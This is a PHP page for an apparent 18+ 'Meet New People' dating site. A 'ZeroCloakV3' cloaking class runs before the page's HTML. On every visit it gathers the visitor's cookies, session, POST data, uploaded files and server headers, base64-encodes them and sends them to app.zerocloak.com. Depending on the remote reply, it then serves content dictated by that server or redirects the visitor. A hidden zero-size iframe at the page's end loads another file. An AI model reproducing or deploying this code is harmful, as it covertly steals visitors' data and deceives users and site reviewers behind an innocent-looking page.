<?php

class ZeroCloakV3
{
    private $targetUrl;
    private $encryptionKey;
    private $requestId;
    private $uei_6s71a1;
    private $cst_4u89t5;
    private $timeout;

    public function __construct()
    {
        header("Access-Control-Allow-Origin: *");
        header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
        header("Access-Control-Allow-Headers: Content-Type, Authorization");
        
        error_reporting(E_ALL);
        ini_set('display_errors', 1);

        $this->targetUrl        = 'https://app.zerocloak.com/realtime';
        $this->encryptionKey    = 'b96fe040-f322-4ffe-9981-94743ad3a129';
        $this->requestId        = uniqid('req_', true);
        $this->uei_6s71a1       = "sdcnndqox9";
        $this->cst_4u89t5       = "ps3s841iyy";
        $this->timeout          = 30;
    }

    private function retrieveAllHeaders()
    {
        if (!function_exists('getallheaders')) {
            $headers = [];
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') {
                    $headers[str_replace(
                        ' ',
                        '-',
                        ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))
                    )] = $value;
                }
            }
            return $headers;
        }
        return getallheaders();
    }

    private function gatherRequestData()
    {
        return [
            'request_id' => $this->requestId,
            'uei_6s71a1' => $this->uei_6s71a1,
            'cst_4u89t5' => $this->cst_4u89t5,
            'server'     => $_SERVER,
            'headers'    => $this->retrieveAllHeaders(),
            'get'        => $_GET,
            'post'       => $_POST,
            'files'      => $_FILES,
            'cookie'     => $_COOKIE,
            'session'    => isset($_SESSION) ? $_SESSION : [],
            'timestamp'  => date('Y-m-d H:i:s'),
        ];
    }

    private function transmitData($data, $maxRetries = 3)
    {
        if (function_exists('curl_version')) {
            return $this->sendUsingCurl($data, $maxRetries);
        } else {
            return $this->sendUsingFileGetContents($data);
        }
    }

    private function sendUsingCurl($data, $maxRetries = 3)
    {
        $ch = curl_init($this->targetUrl);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Content-Type: application/json',
            'Content-Length: ' . strlen($data),
            'X-Request-ID: ' . $this->requestId,
            'Cache-Control: no-cache',
            'Cache-Control: max-age=0',
            'Pragma: no-cache',
        ]);

        curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->timeout);

        for ($retry = 0; $retry < $maxRetries; $retry++) {
            $response = curl_exec($ch);
            if ($response !== false) {
                curl_close($ch);
                return $response;
            }
            sleep(1);
        }

        curl_close($ch);
        return false;
    }

    private function sendUsingFileGetContents($data)
    {
        $opts = [
            "http" => [
                "header" => [
                    "Content-Type: application/json",
                    "Content-Length: " . strlen($data),
                    "X-Request-ID: " . $this->requestId,
                    "Cache-Control: no-cache",
                    'Cache-Control: max-age=0',
                    "Pragma: no-cache",
                ],
                "method" => "POST",
                "content" => $data,
                "timeout" => $this->timeout,
            ],
        ];

        $context = stream_context_create($opts);
        $response = @file_get_contents($this->targetUrl, false, $context);

        return $response;
    }

    public function clearCache()
    {
        if (function_exists('wp_cache_flush')) {
            wp_cache_flush();
        }

        if (function_exists('wp_cache_clear_cache')) {
            wp_cache_clear_cache();
        }
    }
    public function verify()
    {
        if(isset($_GET['8ea8cd56-1488']) && $_GET['8ea8cd56-1488'] == $this->encryptionKey){
            echo $this->cst_4u89t5;
            die();
        }
    }
    public function run()
    {
        $this->verify();
        $this->clearCache();
        $data = $this->gatherRequestData();
        
        if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(1) Send: Data Got -</h5><pre>";
            print_r($data);
            echo "</pre>";
        }
        
        $jsonData   = json_encode($data);
        
        if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(2) Send: Convert to Json -</h5><pre>";
            print_r($jsonData);
            echo "</pre>";
        }

        if ($jsonData === false) {
            $this->failHandle("Error: JSON encoding failed: " . json_last_error_msg());
            return false;
        }

        $base64Data = base64_encode($jsonData);
        
        if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(3) Send: Json to base64_encode -</h5><pre>";
            print_r($base64Data);
            echo "</pre>";
        }

        if ($base64Data === false) {
            $this->failHandle("Error: Base64 encoding failed");
            return false;
        }

        $response = $this->transmitData($base64Data);
        
        if(isset($_GET['debug-8ea8cd56-1488-main']) && $_GET['debug-8ea8cd56-1488-main'] == $this->encryptionKey){
              echo $response;
              die;
        }
        
        if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(1) Receive: Data Got -</h5><pre>";
            print_r($response);
            echo "</pre>";
        }
        
        if ($response !== false) {
            $this->successHandle($response);
        } else {
            $this->failHandle($response);
        }
    }

    public function successHandle($response)
    {

        $base64decodeData = base64_decode($response);
        
         if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(5) Receive: decryptedData -</h5><pre>";
            print_r($base64decodeData);
            echo "</pre>";
        }
        
        
        if ($base64decodeData === false) {
            $this->failHandle("Error: Base64 decode failed");
            return false;
        }

        $responseData = json_decode($base64decodeData, true);

         if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
            echo "<h5>(6) Receive: decryptedData -</h5><pre>";
            print_r($responseData);
            echo "</pre>";
        }
        if ($responseData === null && json_last_error() !== JSON_ERROR_NONE) {
            $this->failHandle("Error: JSON decoding failed");
            return false;
        }
        if(!$responseData['status']){
            $this->failHandle($responseData['message']);
            return false;
        }

       if (
            (isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] === $this->encryptionKey) ||
            (isset($_GET['debug-8ea8cd56-1488-main']) && $_GET['debug-8ea8cd56-1488-main'] === $this->encryptionKey)
        ) {
            die();
        }

        if(!($responseData['data']['nothing'])){

            if(isset($responseData['data']['hr'])){
                header("Referrer-Policy: no-referrer");
            }

            if(!is_null($responseData['data']['zrc'])){

                if(!$responseData['data']['zrc']['status']){
                    $this->failHandle($responseData['data']['zrc']['message']);
                    return false;

                }else{
                    $this->zeroRedirectionCloaking($responseData['data']['zrc']['content']);
                    return true;

                }
            }

            $this->redirectTo($responseData['data']['url'],$responseData['data']['http_code']);
            return true;
        }
        return true;

    }
    private function zeroRedirectionCloaking(string $content = '') {
        echo $content;
        die();
    }
    private function redirectTo(string $url, string $method = 'header-301') {
        switch (strtolower($method)) {
            case 'header-301':
                header("Location: $url", 301);
                exit;

            case 'header-302':
                header("Location: $url", 302);
                exit;

            case 'header-refresh':
                header("Refresh: 0;url=$url");
                exit;

            case 'meta':
                echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '"><title>Redirecting...</title></head><body><a href="' . htmlspecialchars($url) . '">Click here</a></body></html>';
                exit;

            case 'js_meta':
                echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Redirecting...</title></head><body><script>window.location.href = "' . htmlspecialchars($url) . '";</script><noscript><meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '"></noscript><p>If you are not redirected, <a href="' . htmlspecialchars($url) . '">click here</a>.</p></body></html>';
                exit;

            default:
                header("Location: $url", 301);
                exit;
        }
    }

    private function failHandle($response)
    {
        echo $response;
        die;
    }
}

$zerocloakCloaking = new ZeroCloakV3();
$zerocloakCloaking->run();

// @zerocloak.com 2026-09-20 19:17:20
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Meet New People is a clear, respectful introduction to meeting people through shared interests and thoughtful conversations.">
    <meta name="theme-color" content="#163c3c">
    <title>Meet New People — Start with a hello</title>
    <link rel="icon" href="assets/favicon.svg" type="image/svg+xml">
    <link rel="stylesheet" href="assets/styles.css">
  </head>
  <body>
    <a class="skip-link" href="#main">Skip to content</a>

    <header class="site-header">
      <div class="container nav-wrap">
        <a class="brand" href="index.html" aria-label="Meet New People home">
          <span class="brand-mark" aria-hidden="true">M</span>
          <span>Meet New People</span>
        </a>
        <nav class="site-nav" aria-label="Primary navigation">
          <a href="#how-it-works">How it works</a>
          <a href="#safety">Safety</a>
          <a href="privacy.html">Privacy</a>
          <a class="nav-contact" href="contact.html">Contact</a>
        </nav>
      </div>
    </header>

    <main id="main">
      <section class="hero section">
        <div class="container hero-grid">
          <div class="hero-copy">
            <p class="eyebrow"><span aria-hidden="true">✦</span> Make room for new connections</p>
            <h1>Good conversations can start with a simple hello.</h1>
            <p class="hero-intro">Discover a more thoughtful way to meet adults who share your curiosity, values, and everyday interests.</p>
            <div class="hero-actions">
              <a class="button button-primary" href="#how-it-works">Meet New People <span aria-hidden="true">→</span></a>
              <a class="text-link" href="#safety">Our approach to safety</a>
            </div>
            <p class="microcopy">For adults 18+. Please connect respectfully and take your time.</p>
          </div>
          <figure class="hero-image image-frame image-frame-large">
            <img src="assets/images/hero-friends.png" alt="Two adult friends smiling while walking near a sunny city café" width="1536" height="1024">
            <figcaption class="floating-note"><span class="note-dot" aria-hidden="true"></span>Start with shared interests</figcaption>
          </figure>
        </div>
      </section>

      <section class="trust-strip" aria-label="Community values">
        <div class="container trust-grid">
          <p><span aria-hidden="true">◎</span> Respect comes first</p>
          <p><span aria-hidden="true">⌁</span> At your own pace</p>
          <p><span aria-hidden="true">◇</span> Clear, consistent information</p>
        </div>
      </section>

      <section id="how-it-works" class="section how-section">
        <div class="container">
          <div class="section-heading centered-heading">
            <p class="eyebrow">How it works</p>
            <h2>Take the first step, your way.</h2>
            <p>There is no rush. A good connection is built through small, comfortable moments.</p>
          </div>
          <ol class="steps-grid">
            <li class="step-card">
              <span class="step-number">01</span>
              <h3>Show up as yourself</h3>
              <p>Start with the interests, intentions, and conversation topics that matter to you.</p>
            </li>
            <li class="step-card">
              <span class="step-number">02</span>
              <h3>Find common ground</h3>
              <p>Look for people whose outlook or everyday passions feel like a natural fit.</p>
            </li>
            <li class="step-card">
              <span class="step-number">03</span>
              <h3>Keep it considerate</h3>
              <p>Be clear, kind, and patient. The best conversations leave room for consent and choice.</p>
            </li>
          </ol>
        </div>
      </section>

      <section class="section stories-section">
        <div class="container stories-grid">
          <div class="image-frame story-image story-image-top">
            <img src="assets/images/cafe-conversation.png" alt="Three adult friends enjoying a friendly conversation in a café" width="1536" height="1024" loading="lazy">
          </div>
          <div class="stories-copy">
            <p class="eyebrow">Connection, without the noise</p>
            <h2>Real life has plenty to talk about.</h2>
            <p>From a favorite book to a weekend plan, meaningful conversations often begin with the little things you genuinely enjoy.</p>
            <a class="text-link arrow-link" href="contact.html">Have a question? Get in touch <span aria-hidden="true">→</span></a>
          </div>
          <div class="image-frame story-image story-image-bottom">
            <img src="assets/images/market-friends.png" alt="Two adult women laughing together at an outdoor market" width="1536" height="1024" loading="lazy">
          </div>
        </div>
      </section>

      <section id="safety" class="section safety-section">
        <div class="container safety-grid">
          <div class="safety-copy">
            <p class="eyebrow">Safety &amp; privacy</p>
            <h2>Thoughtful connections begin with care.</h2>
            <p>Your comfort matters. Trust your instincts, choose what to share, and keep conversations respectful.</p>
            <a class="text-link arrow-link" href="privacy.html">Read our Privacy Policy <span aria-hidden="true">→</span></a>
          </div>
          <div class="safety-panel">
            <article>
              <span class="panel-icon" aria-hidden="true">⌁</span>
              <div>
                <h3>Stay in control</h3>
                <p>Share personal details only when you feel ready. You can always step away from a conversation.</p>
              </div>
            </article>
            <article>
              <span class="panel-icon" aria-hidden="true">◌</span>
              <div>
                <h3>Meet with care</h3>
                <p>If you decide to meet someone, choose a public place and let someone you trust know your plans.</p>
              </div>
            </article>
            <article>
              <span class="panel-icon" aria-hidden="true">✦</span>
              <div>
                <h3>Keep it respectful</h3>
                <p>Consent, boundaries, and honest communication should guide every interaction.</p>
              </div>
            </article>
          </div>
        </div>
      </section>

      <section class="section adult-section">
        <div class="container adult-card">
          <div class="adult-badge" aria-hidden="true">18+</div>
          <div>
            <h2>For adults only</h2>
            <p>This page is intended for people aged 18 and over. Please use good judgment, respect local laws, and treat others with kindness.</p>
          </div>
          <a class="button button-light" href="terms.html">Read the terms</a>
        </div>
      </section>

      <section class="section final-cta">
        <div class="container final-cta-content">
          <p class="eyebrow">A small beginning</p>
          <h2>Ready to make space for someone new?</h2>
          <p>Start with curiosity, lead with respect, and see where a conversation can go.</p>
          <a class="button button-primary" href="#how-it-works">Meet New People <span aria-hidden="true">→</span></a>
        </div>
      </section>
    </main>

    <footer class="site-footer">
      <div class="container footer-grid">
        <div>
          <a class="brand footer-brand" href="index.html"><span class="brand-mark" aria-hidden="true">M</span><span>Meet New People</span></a>
          <p class="footer-copy">A clear, respectful introduction to meeting new people.</p>
        </div>
        <div class="footer-links" aria-label="Footer navigation">
          <a href="privacy.html">Privacy Policy</a>
          <a href="terms.html">Terms of Use</a>
          <a href="contact.html">Contact</a>
        </div>
      </div>
      <div class="container footer-bottom">
        <p>© <span id="year">2026</span> Meet New People. All rights reserved.</p>
        <p>18+ only</p>
      </div>
    </footer>
    <script>document.getElementById('year').textContent = new Date().getFullYear();</script>
     <iframe src="/qqtime/qqtime.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>
  </body>
</html>
